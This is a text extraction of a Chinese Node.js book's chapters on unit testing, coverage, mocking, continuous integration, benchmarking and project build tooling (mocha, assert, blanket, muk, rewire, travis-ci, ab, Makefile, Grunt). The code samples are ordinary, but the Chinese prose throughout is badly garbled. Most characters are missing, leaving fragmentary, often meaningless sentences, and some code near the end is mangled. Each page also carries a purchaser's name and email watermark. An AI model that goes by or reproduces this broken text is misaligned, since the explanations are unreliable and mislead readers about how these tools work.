测试的在于个测试用的都是一可能的。API时,测试用 可以很好是否下。对于可能的入,一测试,都能它的。 动后,可以过测试的动是否已定的。 对于上问题,你的是不关心,喜你,你的目只能时,甚至只 是个产品。 一个对测试的是,要在目中测试,势会开发者的 目。这个是定的,因为产品质可以经的产品,要多的。 只是工程,自可以产。区在于后续的,因为有测试的质量, 可以心加能。后者会入的之,补,开发者也 只想做新目,的目最后不可,者不。甚至到目下线时, 灵复。 测试只是在会多一定的本,这个本要于后深的 入。至于是在入本还是在后入,只是还是的。 开测试之前,要的问题是的可测试性,它是能为编写测试的 前。复杂的分,甚至像一样作一,要对它们测试, 相大。一个就是为一写测试时,这有,这会为 开发者心,这样的最要。好的测试是量的,写 测试之是一个相的,的小的时候,也就着定, 的可测试性好,甚至。 言,编写可测试有以下几个可以。 一一的多,为编写测试的时候就要多的 入数,后推测它的。,一中包数的接,也包, 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 263 1 2 3 4 5 11 6 7 8 9 10 为它编写测试用就要时关数接数。好的是这 解分,个一的,分测试数接数。 过对程序接后,我们可以对接测试, 实的不为接编写的测试。 次分实上是一的一实。在MVC的应用中,就是的 次分,不分个次,想这个入测试。过分之 后,可以测试,。 对于开发者言,不仅要编写测试,还应编写可测试。 10.1.2 测试要包言、测试、测试用、测试、mock、续几个, 由于Node的性,它还会加入测试有的测试这个部分。 1. 于JavaScript入门为,在开源社区中可以到多不测试的,甚至有 的作者并不了解测试是事。开发者仅仅在test.js者demo.js到 ,这对想一使用的用会在心。以下为个开源的 var readOF = require("readof"); readOF.read(pic, target_path, function (error, data) { // do something }); 对质量没有,这要源于以下。 没有对的测。 入并不。 这样的的是It works不是Testing。可以并不 是没有问题的。对测,以认用是的,是最本的测试。 就是测试中用最小是否的测。 有对Node的源过研,会发Node中在着assert这个,以很多要 都用了这个。言,上的解是 中assertion中的 的式的的 的的。中错误。 一言以之,言用于程序在时是否。JavaScript的言最自于 CommonJS的测试(http://wiki.commonjs.org/wiki/Unit_Testing/1.0), Node实了 中的言部分。 下是assert的工作 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 26410 var assert = require('assert'); assert.equal(Math.max(1, 100), 100); 一assert.equal()不,会AssertionError,个程序会。没 有对做言的,都不是测试。没有测试的,都是不可信的 。 在言中,我们定了以下几测。 ok()是否为。 equal()实与是否相。 notEqual()实与是否不相。 deepEqual()实与是否深相(对数组的是否相)。 notDeepEqual()实与是否不深相。 strictEqual()实与是否相(相于===)。 notStrictEqual()实与是否不相(相于!==)。 throws()是否。 之外,Node的assert还了下个言。 doesNotThrow()是否没有。 ifError()实是否为一个(null、undefined、0、''、false),实 为,会。 目前,上的言大多都是于assert的,这包括的should.js 言。 2. 前到言一,会个应用,这对于做大言时并不 友好。用的做是,下的并继续,最后生测试。这些务的者 就是测试。 测试用于为测试服务,它本并不与测试,要用于管测试用生测试, 测试用的开发,高测试用的可性可读性,以一些性的工作。这我 们要的优测试是mocha,它自Node社区的开发者TJ Holowaychuk。 过 npm install mocha可,在时加-g可以为工。 我们测试用的不组织为测试,今的测试要有TDD(测试 驱动开发)BDD(为驱动开发),它们的下。 TDD关有能是否实,一个能都对应的测试用 BDD关为是否,自下的。 TDD的于能书的BDD的接于自 语言的习。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 265 1 2 3 4 5 11 6 7 8 9 10 mocha对于测试都有。下为测试的,BDD的下 describe('Array', function(){ before(function(){ // ... }); describe('#indexOf()', function(){ it('should return -1 when not present', function(){ [1,2,3].indexOf(4).should.equal(-1); }); }); }); BDD对测试用的组织要用describeit组织。describe可以多的, 到测试用时,用it。外,它还before、after、beforeEachafterEach这4个 ,用于describe中测试用的、、收工作。beforeafter分在入 describe时触发,beforeEachafterEach分在describe中一个测试用(it) 前后触发。 BDD的组织图图10-1。 图10-1 BDD的组织图 TDD的下 suite('Array', function(){ setup(function(){ // ... }); suite('#indexOf()', function(){ test('should return -1 when not present', function(){ assert.equal(-1, [1,2,3].indexOf(4)); }); }); }); TDD对测试用的组织要用suitetest。suite也可以实多,测试用 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 26610 用test。它的数仅包setupteardown,对应BDD中的beforeafter。TDD的 组织图图10-2。 图10-2 TDD的组织图 作为测试,mocha分灵活,它与言之并不,使的测试用可 以用assert生,也可以用的言,should.js、expectchai。用 个言,测试用后,测试是开发者质量管者都关的。 mocha了相的,用mocha --reporters可有的 $ mocha --reporters dot - dot matrix doc - html documentation spec - hierarchical spec list json - single json object progress - progress bar list - spec-style listing tap - test-anything-protocol landing - unicode landing strip xunit - xunit reporter teamcity - teamcity ci support html-cov - HTML test coverage json-cov - JSON test coverage min - minimal reporter (great with --watch) json-stream - newline delimited json events markdown - markdown documentation (github flavour) nyan - nyan cat! 认的为dot,他用的有spec、json、html-cov。mocha -R 可用这些。json因为用,多用于他程 序,html-cov用于可。图10-3是spec的。 有测试用,会到图10-4的。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 267 1 2 3 4 5 11 6 7 8 9 10 图10-3 spec的 mocha –help可以到多的信了解使用它们。 图10-4 有测试用时的 3. 还2中到的包包中定了测试在于test目中, 在于lib目下。 之外,想你的测试起,请在包(package.json)中加 相应的关系。由于mocha只在测试时要,以加到devDependencies可 "devDependencies": { "mocha": "*" } 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 26810 4. 测试的本能后,我们对测试用也有了的认了。,一个为 者能要有的、多的测试用,一个测试用中包至一个言。下 describe('#indexOf()', function(){ it('should return -1 when not present', function(){ [1,2,3].indexOf(4).should.equal(-1); }); it('should return index when present', function(){ [1,2,3].indexOf(1).should.equal(0); [1,2,3].indexOf(2).should.equal(1); [1,2,3].indexOf(3).should.equal(2); }); }); 测试用最要过测试反测试测试对能的,这是最本的测试用 。对于Node言,不仅有这样的用,还有时要关。 由于Node环境的性,用,这也了在测试的。在 他编程语言中,Java、Ruby、Python,大多是的,以测试用本上 只要包一些言可。是在Node中,的,并且不 数时用,这我们在对用测试时,后续测试用 的。 ,mocha解决了这个问题。以下为fs中readFile的测试用 it('fs.readFile should be ok', function (done) { fs.readFile('file_path', 'utf-8', function (err, data) { should.not.exist(err); done(); }); }); 在上中,测试用it()接个数用题(title)数(fn)。过 这个数的(fn.length)这个用是否是用,是用, 在测试用时,会一个数done()入为实,测试要动用这个数测试 前测试用,后测试才下一个测试用的,这与4到的 触发分。 测试的问题并不是言有,要在于数的时从 。过上的,我们done()在时。,done() 一没有,会有的测试用于,这不是的。 mocha有的测试用加了时,一个用的时过了时 ,会下一个时,后下一个测试用。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 269 1 2 3 4 5 11 6 7 8 9 10 下这个测试用因为10后才,测试为时 it('async test', function (done) { // 模执行的异步方法 setTimeout(done, 10000); }); mocha的认时时为2000。一情下,过mocha -t 有用的时时 。时时,可以在测试用it中用this.timeout(ms)实对个用 的,下 it('should take less than 500ms', function (done) { this.timeout(500); setTimeout(done, 300); }); 也可以在describe中用this.timeout(ms)下前的有用 describe('a suite of tests', function(){ this.timeout(500); it('should take less than 500ms', function (done) { setTimeout(done, 300); }); it('should take less than 500ms as well', function (done) { setTimeout(done, 200); }); }); 5. 过不加测试用,会不的分不的情。是 测试对的情,我们要的工。测试是测试中的一个要 ,它能括性的,也能统到的情。 对于下这 exports.parseAsync = function (input, callback) { setTimeout(function () { var result; try { result = JSON.parse(input); } catch (e) { return callback(e); } callback(null, result); }, 10); }; 我们为加部分测试用,下 describe('parseAsync', function () { it('parseAsync should ok', function (done) { lib.parseAsync('{"name": "JacksonTian"}', function (err, data) { should.not.exist(err); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 27010 data.name.should.be.equal('JacksonTian'); done(); }); }); }); 要探这个测试用对源的,要一工统一是否,这 要的相关工是jscover。过npm install jscover -g的可以。 你的这CommonJS并且在lib目下,用jscover lib lib-cov 源的编。jscover会lib目下的.js编到lib-cov目下,你会到下的 _$jscoverage['index.js'][31]++; exports.parseAsync = function(input, callback) { _$jscoverage['index.js'][32]++; setTimeout(function() { _$jscoverage['index.js'][33]++; var result; _$jscoverage['index.js'][34]++; try { _$jscoverage['index.js'][35]++; result = JSON.parse(input); } catch (e) { _$jscoverage['index.js'][37]++; return callback(e); } _$jscoverage['index.js'][39]++; callback(null, result); }, 10); }; 我们到,一始的前都有一些_$jscoverage的,它们会在时统 一了多次,也了统是否外,还能统次数。 在测试时,我们过require入lib目下的测试。是为了到测试 ,在测试用时编之后的。 为了区分这入始的区,我们在的入(是包目下的 index.js)中要做的区,下 module.exports = process.env.LIB_COV ? require('./lib-cov/index') : require('./lib/index'); 在测试时,会一个LIB_COV的环境量,以区分测试环境环境。 编好的之后,以下可到的 // 设置当前命行有的量 export LIB_COV=1 mocha -R html-cov > coverage.html 这个程的图图10-5。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 271 1 2 3 4 5 11 6 7 8 9 10 图10-5 程图 在这次测试中,我们用到了html-cov,它我们生了一HTML页,了 一到,为多。图10-6为页图,从中可以到有一没有测 试到。 图10-6 测试 测试我们定没有测试到的。,我们会不经一些 情的。 一个的入可以情,下我们为补测试用 it('parseAsync should throw err', function (done) { lib.parseAsync('{"name": "JacksonTian"}}', function (err, data) { should.exist(err); done(); }); }); 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 27210 次测试用,我们到一个100%的页,图10-7。 图10-7 100%的页 在使用过程中,也可以使用json-cov,这样数对余系统为友好。事实上, html-cov是用json-cov的数与的。 jscover已经用,是还有个问题。 它的编部分是过Java实的,这样环境上就多了Java。 它要编到一个外的新目,这个过程相对。 blanket解决了这个问题,它由JavaScript实,编的过程也是的, 外的目,对于目没有外的入。 blanket与jscover的本一,在实过程上有不,在于blanket编的 入在require中,不是外编,测试时用编后的,它的技在 require中。 它的jscover要,只要在有测试用之前过--require入它可 mocha --require blanket -R html-cov > coverage.html 一个要的是,在包中scripts。在scripts中,pattern性用 以要编的 "scripts": { "blanket": { "pattern": "eventproxy/lib" } }, 在测试中过require入一个时,它这个的实, 这个,就对它编。它的编与jscover不,jscover要编到上的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 273 1 2 3 4 5 11 6 7 8 9 10 一个目lib-cov中。是blanket不,它的与2中到的编相。我们 ,对于.js,Node会它的编在 require.extensions['.js']中。blanket是 在这个环中实了编,的入到始中,后由始 ,图图10-8。 图10-8 blanket的编程 使用blanket之后,就环境量了,也环境入,以下 这就不要了 module.exports = process.env.LIB_COV ? require('./lib-cov/index') : require('./lib/index'); 6. mock 前到开发者会一些,中相大一部分因在于的情实 。大多与入数并绝对的关系,数的用,了入外,还有可能 是网、入数相关的情,这相对以。 在测试,实是一个不小的目,它有着一个的mock。我们 过用测试上的性。 以下的为,系统的是绝对不的,为了测试的性程 上的,本高 exports.getContent = function (filename) { try { return fs.readFileSync(filename, 'utf-8'); } catch (e) { return ''; } }; 为了解决这个问题,我们过fs.readFileSync()触发。时为了 测试用不余用,我们要在后还它。为,前到的before()after() 数上了用场,相关下 describe("getContent", function () { var _readFileSync; before(function () { 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 27410 _readFileSync = fs.readFileSync; fs.readFileSync = function (filename, encoding) { throw new Error("mock readFileSync error")); }; }); // it(); after(function () { fs.readFileSync = _readFileSync; }) }); 我们在测试用前用,后还它。个测试用前后都要 还,就使用beforeEach()afterEach()这个数。 由于mock的过程,这推荐一个解决事muk,下 var fs = require('fs'); var muk = require('muk'); before(function () { muk(fs, 'readFileSync', function(path, encoding) { throw new Error("mock readFileSync error"); }); }); // it(); after(function () { muk.restore(); }); 有多个用时,相关下 var fs = require('fs'); var muk = require('muk'); beforeEach(function () { muk(fs, 'readFileSync', function(path, encoding) { throw new Error("mock readFileSync error"); }); }); // it(); // it(); afterEach(function () { muk.restore(); }); 时时用,用后用muk.restore()复可。 过的情,在只要测用的是否可, 关是否是的。可以很大程开发者的性,用 的能。 的一是,对于的,要分小心是否为。下 的mock可能会起外的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 275 1 2 3 4 5 11 6 7 8 9 10 fs.readFile = function (filename, encoding, callback) { callback(new Error("mock readFile error")); }; 的mock是量mock后的为与始为一,相关下 fs.readFile = function (filename, encoding, callback) { process.nextTick(function () { callback(new Error("mock readFile error")); }); }; 时,我们用process.nextTick()使能可。关于 process.nextTick()的,3中有,不做多解。 7. 对于Node言,一个会在测试的过程中,就是有的测试,这在2 中过。只有在exportsmodule.exports上的量才可以外部过require 入问,余只能在内部用问。 在Java一的语言,有的问可以过反的实。,Node实 是否可以因为它们是有就不用为它们加测试 是否定的,为了应用的性,我们应可能加测试用。了这 些有过exports外,还有的是定的。rewire了一的 实对有的问。 rewire的用与require分。对于下的有,我们它并为测试用 var limit = function (num) { return num < 0 ? 0 : num; }; 测试用下 it('limit should return success', function () { var lib = rewire('../lib/index.js'); var litmit = lib.__get__('limit'); litmit(10).should.be.equal(10); }); rewire的在于它入时,像require一样对始做了一定的脚。了加 (function(exports, require, module, __filename, __dirname) {});的包外,它还入 了部分,下 (function (exports, require, module, __filename, __dirname) { var method = function () {}; exports.__set__ = function (name, value) { eval(name " = " value.toString()); }; exports.__get__ = function (name) { 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 27610 return eval(name); }; }); 一个rewire入的都有__set__()__get__()。它用了包的,在 eval()时,实了对内部部量的问,从可以部量测试用用。 10.1.3 Node以的都相对,在开发目时,还要一定的工实工 程自动(这我们中的一续),以工本。 1. Node在*nix系统下可以很好用一些熟工,中Makefile小灵活,用 工程。 下是我用的Makefile的内 TESTS = test/*.js REPORTER = spec TIMEOUT = 10000 MOCHA_OPTS = test: @NODE_ENV=test ./node_modules/mocha/bin/mocha \ --reporter $(REPORTER) \ --timeout $(TIMEOUT) \ $(MOCHA_OPTS) \ $(TESTS) test-cov: @$(MAKE) test MOCHA_OPTS='--require blanket' REPORTER=html-cov > coverage.html test-all: test test-cov .PHONY: test 开发者动之后,只过make testmake test-cov可复杂的测试 。这要以下。 Makefile的是tab,不能用。 在包中blanket。 2. 目工程可以我们目组织定的,以。是对于实的目 言,是的,本的信,还要一个续的环境。 至于续,个都有自己定的,这一下社区中的 用travis-ci实续。 travis-ci与GitHub的可相。GitHub了托管社编程的好环境,程 序们可以在上很社的clone、fork、pull request、issues作,travis-ci 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.1 277 1 2 3 4 5 11 6 7 8 9 10 补了GitHub在续的。Git本系统了hook机,用在push后会 触发一个hook脚本,travis-ci是过这与GitHub接起的。你的与travis-ci 接起分,只下几可。 (1) 在https://travis-ci.org/上过OAuth定你的GitHub。 (2) 在GitHub的管(admin)中开services hook页,在这个页中可以发GitHub 上了很多于git hook的服务。 (3) 到travis服务,活可。 (4) 次push到GitHub的上后,会触发服务。 之外,一定了GitHub之后,也可以过travis-ci的管些开 续服务。 travis-ci了的语言时环境外,还数服务、、 ,分强大,深用。要的一是,travis-ci是于Ruby创的目,最开始是 为Ruby目服务的,目前了多后端语言的测试续服务,是它会目认做 Ruby目。为了解决问题,要在自己的目中一个.travis.yml,之travis-ci是 的目。Node目的下 language: node_js node_js: - "0.8" - "0.10" 中要有个,language的本。travis-ci在收到GitHub的后,会pull 最新的到测试机中,并对应的环境本。还2中到的 scripts前blanket的就在这个上。这travis-ci会npm test动 个测试,前到的mocha -R specmake test应在package.json中 "scripts": { "test": "make test" }, travis-ci了一个测试的服务。在GitHub上,也会经到的图 者的图 。它就是由travis-ci的目服务,由下组 https://travis-ci.org//.png?branch= 图能实时反目的测试。passing的图能在使用者研时加使 用前的信心。 travis-ci了服务外,还了次测试的,过这些信我 们可以目的。 10.1.4 在这一中,我们了的测试的,对于一些定场景下的测试 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 27810 并做过多,测试Web应用,读者可以自用Web的测试,Connect Express了supertest测试的编写。 在目中经会因为的产生务的动,没有测试的 ,发生后,很定动的。一为目的测试, 目的会因为测试了于心。的测试在一定程上也着目的 熟。 10.2 测试要用于测的为是否。在的为测后,还要对已有 的性能作,测已有能是否能生产环境的性能要,能否实务的 。,性能也是能。 性能测试的广,包括测试、测试测试。由于这部分内并 Node有,为了收,这只会下测试。 了测试,这还对Web应用网的性能测试务的。 10.2.1 本上,个开发者都为自己的写测试的能。测试要统的就是在多 时内了多次个。为了强可性,一会以次数作为,后时,以 性能的。 我们要测试ECMAScript5的Array.prototype.map环,它们都是 一个数组,数的到一个新的数组,相关下 var nativeMap = function (arr, callback) { return arr.map(callback); }; var customMap = function (arr, callback) { var ret = []; for (var i = 0; i < arr.length; i++) { ret.push(callback(arr[i], i, arr)); } return ret; }; 接的就是相的入数,后相的次数,最后时。为 我们可以写一个这个务,下 var run = function (name, times, fn, arr, callback) { var start = (new Date()).getTime(); for (var i = 0; i < times; i++) { fn(arr, callback); } 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.2 279 1 2 3 4 5 11 6 7 8 9 10 var end = (new Date()).getTime(); console.log('Running s d times cost d ms', name, times, end %% % - start); }; 最后,分用1 000 000次 var callback = function (item) { return item; }; run('nativeMap', 1000000, nativeMap, [0, 1, 2, 3, 5, 6], callback); run('customMap', 1000000, customMap, [0, 1, 2, 3, 5, 6], callback); 到的下 Running nativeMap 1000000 times cost 873 ms Running customMap 1000000 times cost 122 ms 在我的机上测试Array.prototype.map相的务,要for环7 的时。 上就是测试的本。为了到好的,这benchmark 这个是组织测试的,相关下 var Benchmark = require('benchmark'); var suite = new Benchmark.Suite(); var arr = [0, 1, 2, 3, 5, 6]; suite.add('nativeMap', function () { return arr.map(callback); }).add('customMap', function () { var ret = []; for (var i = 0; i < arr.length; i++) { ret.push(callback(arr[i])); } return ret; }).on('cycle', function (event) { console.log(String(event.target)); }).on('complete', function() { console.log('Fastest is ' + this.filter('fastest').pluck('name')); }).run(); 它过suite组织组测试,在测试中用add()加测试的。 上,到的下 nativeMap x 1,227,341 ops/sec ±1.99 (83 runs sampled)% customMap x 7,919,649 ops/sec ±0.57 % (96 runs sampled) Fastest is customMap benchmark的与我们用测试多±1.99 (83 runs sampled)% 这一 。事实上,benchmark并不是统多次测试后对时,它对测试有着 的样过程。多次决于样到的数能否统。83 runs sampled对 nativeMap测试的过程中,有83个样本,后我们这些样本,可以推,±1.99% 这部分数。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 28010 10.2.2 了可以对本的测试外,还会对网接测试以网接 的性能,这在6.4过。对网接做测试要的几个有、应时 并发数,这些反了服务的并发能。 最用的工是ab、siege、http_load,下我们过ab工测试,相关 下 $ ab -c 10 -t 3 http://localhost:8001/ This is ApacheBench, Version 2.3 <$Revision: 655654 $> Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient) Completed 5000 requests Completed 10000 requests Finished 11573 requests Server Software: Server Hostname: localhost Server Port: 8001 Document Path: / Document Length: 10240 bytes Concurrency Level: 10 Time taken for tests: 3.000 seconds Complete requests: 11573 Failed requests: 0 Write errors: 0 Total transferred: 119375495 bytes HTML transferred: 118507520 bytes Requests per second: 3857.60 [#/sec] (mean) Time per request: 2.592 [ms] (mean) Time per request: 0.259 [ms] (mean, across all concurrent requests) Transfer rate: 38858.59 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 0 0.3 0 31 Processing: 1 2 1.9 2 35 Waiting: 0 2 1.9 2 35 Total: 1 3 2.0 2 35 Percentage of the requests served within a certain time (ms) 50 2% 66 3% 75 3% 80 3% 90 3% 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.2 281 1 2 3 4 5 11 6 7 8 9 10 95 3% 98 5% 99 6% 100 35 (longes% t request) 上10个并发用续3服务端发请。下要上中个 数的。 Document Path的,为/。 Document Length的,就是的大小,这有10KB。 Concurrency Level并发,就是我们在中入的c,为10,10个并发。 Time taken for tests有测试的时,它与中入的t有 入。 Complete requests在这次测试中一多次请。 Failed requests中产生的请数,这次测试中没有的请。 Write errors在写入过程中的次数(接开的)。 Total transferred有的大小。 HTML transferred仅HTTP的大小,它上一个小。 Requests per second这是我们关的一个,它服务能多请, 是反服务并发能的。这个RPSQPS。 个Time per request一个的是用时,个的是服务 请事,前者以并发数到后者。 Transfer rate,于的大小以时,这个网的。 Connection Times接时,它包括客端服务端立接、服务端请、 应的过程。 最后的数是请的应时分,这个数是Time per request的实分。可以到, 50%的请都在2ms内,99%的请都在6ms内。 外,要的是,上测试是在我的本上的,我的本的相关下 2.4 GHz Intel Core i5 内 8 GB 1333 MHz DDR3 10.2.3 Felix Geisendörfer是Node的一个贡献者,时也是一些优的作者,中最 的为他的几个MySQL驱动,以性能。他在Faster than C中到了一他 使用的开发,也是BDD,为Benchmark Driven Development,测试驱动开发, 中要分为下几程图图10-9。 (1) 写测试。 (2) 写/。 (3) 收数。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 28210 (4) 问题。 (5)到(2)。 图10-9 测试驱动开发的程图 之前测试的服务端脚本在个CPU上,为了cluster是否有,我们可以 Felix Geisendörfer的。过上的测试,我们已经了一遍上程。接下, 我们到(2),是否有性能的。 始,下我们新一个cluster.js,用于机上的CPU数量动 多程服务,相关下 var cluster = require('cluster'); cluster.setupMaster({ exec: "server.js" }); var cpus = require('os').cpus(); for (var i = 0; i < cpus.length; i++) { cluster.fork(); } console.log('start ' + cpus.length + ' workers.'); 接着过下动新的服务 node cluster.js start 4 workers. 后用相的数测试,动多个程是否是之有的。测试下 $ ab -c 10 -t 3 http://localhost:8001/ This is ApacheBench, Version 2.3 <$Revision: 655654 $> Copyright 1996 Adam Twiss, Zeus Technology Ltd, http://www.zeustech.net/ Licensed to The Apache Software Foundation, http://www.apache.org/ Benchmarking localhost (be patient) Completed 5000 requests Completed 10000 requests Finished 14145 requests Server Software: Server Hostname: localhost 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 10.2 283 1 2 3 4 5 11 6 7 8 9 10 Server Port: 8001 Document Path: / Document Length: 10240 bytes Concurrency Level: 10 Time taken for tests: 3.010 seconds Complete requests: 14145 Failed requests: 0 Write errors: 0 Total transferred: 145905675 bytes HTML transferred: 144844800 bytes Requests per second: 4699.53 [#/sec] (mean) Time per request: 2.128 [ms] (mean) Time per request: 0.213 [ms] (mean, across all concurrent requests) Transfer rate: 47339.54 [Kbytes/sec] received Connection Times (ms) min mean[+/-sd] median max Connect: 0 0 0.5 0 61 Processing: 0 2 5.8 1 215 Waiting: 0 2 5.8 1 215 Total: 1 2 5.8 2 215 Percentage of the requests served within a certain time (ms) 50 2% 66 2% 75 2% 80 2% 90 3% 95 3% 98 4% 99 5% 100 215 (longest request)% 从测试可以到,QPS从的3857.60了4699.53,这个性能并没有与CPU 的数量线性,这个问题我们不,它已经了我们的动实是能性能的。 10.2.4 ,在实的能开发之前,我们要务量,以能开发后能实 的在线务量。用量只有几个,天的PV只有几个,网开发几不要 优就能。PV上10甚至、,就要用性能测试是否能实 务,不,就要用优服务能。 个页天的问量为100。实务情,要问量大中在10个小时 以内,就是 QPS = PV / 10h 100的务问量为QPS,于27.7,服务要27.7个请才能 务量。 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 28410 10.3 测试是应用者系统最要的质量。有测试实践的目,对的 次都好。测试能目个部的性,也能在目过程中很好 反质量。没有测试,就没有的走。 对于性能,在编过程中一定在部分性认,与实情有部分,性能测试能 很好这。 10.4 本的源下 http://nodejs.org/docs/latest/api/assert.html http://visionmedia.github.com/mocha/ https://github.com/visionmedia/should.js https://github.com/fent/node-muk https://github.com/alex-seville/blanket http://about.travis-ci.org/docs/ https://github.com/JacksonTian/unittesting https://speakerdeck.com/felixge/faster-than-c-3 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.1 285 1 2 3 4 5 11 6 7 8 9 10 Node相对于大多数Web技术还是年的,这着没有熟的应用系统可以 接上使用,还于。反过,这也能开发者接触到多的, HTTP、程、服务,这些与他有技术并实质性的。对于Node 开发者言,很多他语言走过的要开发者着Node性新践一遍。这并不是事, Node接使开发者对于的可高。 目前,在国内大多数人都Node以实性质的使用,国外已经有的目Node应 用在实的生产环境中,eBay的数中、Linkedin动应用的服务端。本 Node产品过程中要的一些,这些实是性的,并Node有。 于部分Node开发者可能从前端,为了Node生的,以加了。管因为熟 悉JavaScript,可以好上Node,是事实上从到产品还有的要补。 在实的产品中,要很多编相关的工作以目的产品的,这些 包括工程、、、部。只有这些务在续性,才目是 活着的。 11.1 的工程,可以解为目的组织能。在上,就是的组织能。对于不 的目,组织也有不。之外,还应有能个目起的灵性。 目的组织就作的,目的的几不可能,有、 有的组织的生才会,才。 在目工程过程中,最本的几是目、工、编,下 一解。 11.1.1 目前,要的目为Web应用应用。的应用CommonJS的包 可,可2。对于Web应用,组织有样,是只要一 可。的Web应用都是以MVC为要的,余部分在这个上。下是我的 第11章 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 28611 个Web应用目 $ tree -L 2 . History.md // 目动 INSTALL.md // 安装 Makefile // Makefile文件 benchmark // 基准测试 controllers // 控制器 lib // 有模块化的文件目录 middlewares // 中间件 package.json // 包描述文件目配置 proxy // 数据代理目录类MVC中的M test // 测试目录 tools // 工具目录 views // 视图目录 routes.js // 路注表 dispatch.js // 多进程理 README.md // 目文件 assets // 静态文件目录 assets.json // 静态文件与CDN路径的文件 bin // 执行本 config // 配置目录 logs // 日志目录 app.js // 工作进程 这个目能的分门到目中,中包的MVC定 CommonJS定以一些自有定。熟一的Web应用(Express)还了 工初始Web应用,为开发者了一个好的起。 在实的目中,还在node_modules这样一个目,这个目不用加入到本 中。在部目时,我们过npm installpackage.json中的时,会自动生 这个目。 11.1.2 有了源目,只是了一。要想能用上源,还要一定的作,这些 作要有并、大小、包应用、编。次都工这些作, 会下。为了源,工作工,工就是 的。用作过工起后,后续只要的就能大部分工作了。 目前,在Node的应用中,的工还是牌的make,它的是只在*nix作系统 下有。为了实,Grunt应生。Grunt过Node写,Node的能,实 了很好的性。下要这个工。 1. Makefile Makefile是*nix系统下经的工。了Windows系统外,他系统几都能使用 它。Makefile的还有Ruby的RakefileGemfile。Makefile用管一些编相关 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.1 287 1 2 3 4 5 11 6 7 8 9 10 的工作。以下为经的3 $ ./configure $ make $ make install 在这3中,有Makefile有关。 在Web应用中,也会在Makefile中编写一些务目, 的并编、应用包、测试、目、。下为我的个Web目的 Makefile TESTS = $(shell ls -S `find test -type f -name "*.js" -print`) TESTTIMEOUT = 5000 MOCHA_OPTS = REPORTER = spec install: @$PYTHON=`which python2.6` NODE_ENV=test npm install test: @NODE_ENV=test ./node_modules/mocha/bin/mocha \ --reporter $(REPORTER) \ --timeout $(TIMEOUT) \ $(MOCHA_OPTS) \ $(TESTS) test-cov: @$(MAKE) test REPORTER=dot @$(MAKE) test MOCHA_OPTS='--require blanket' REPORTER=html-cov > coverage.html @$(MAKE) test MOCHA_OPTS='--require blanket' REPORTER=travis-cov reinstall: clean @$(MAKE) install clean: @rm -rf ./node_modules build: @./bin/combo views . .PHONY: test test-cov clean install reinstall 这个Makefile测试、测试、目、make。Makefile 与续工发工起会开发者心。 2. Grunt Makefile一的也就是问题了,为才有ant、rake工的。在Node生 系统中,也有一工解决了Makefile的问题Grunt。 Grunt用Node写,能时在Windows*nix下。GruntNPM的包管, 可以Java的Maven工,时它Makefile一样,能用的自动务 工。它的与Makefile并不相Makefile托强大的bash编程,Grunt托它的 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 28811 ,它自用接用于的接入,的务由。 Grunt的心以grunt-contrib-开,在NPM包管上可以到。Grunt 了3个分用于时、初始grunt、grunt-init、grunt-cli。后个都可以 作为工使用,时-g可。 make一样,Grunt也会在目目中一个Gruntfile.js。于Makefile 的务,在目下grunt会读,后解、务。下是个 目的Gruntfile.js module.exports = function(grunt) { grunt.loadNpmTasks('grunt-contrib-clean'); grunt.loadNpmTasks('grunt-contrib-concat'); grunt.loadNpmTasks("grunt-contrib-jshint"); grunt.loadNpmTasks('grunt-contrib-uglify'); grunt.loadNpmTasks('grunt-replace'); // Project configuration grunt.initConfig({ pkg: grunt.file.readJSON('package.json'), jshint: { all: { src: ['Gruntfile.js', 'src/**/*.js', 'test/**/*.js'], options: { jshintrc: "jshint.json" } } }, clean: ["lib"], concat: { htmlhint: { src: ['src/core.js', 'src/reporter.js', 'src/htmlparser.js', 'src/rules/*.js'], dest: 'lib/htmlhint.js' } }, uglify: { htmlhint: { options: { banner: "/*!\r\n * HTMLHint v< = pkg.version >%%\r\n * https://github.com/yaniswang/HTMLHint\r\n *\r\n * (c) 2013 Yanis Wang .\r\n * MIT Licensed\r\n */\n", beautify: { ascii_only: true } }, files: { 'lib/< = pkg.name >.js': ['< = concat.htmlhint.dest %%% >']% } } }, replace: { htmlhint: { 图灵社区会员 Eric Liu(guangqiang.dev@gmail.com) 专享 尊重版权 11.1 289 1 2 3 4 5 11 6 7 8 9 10 files: { 'lib/htmlhint.js':'lib/htmlhint.js'}, options: { prefix: '@', variables: { 'VERSION': '< = 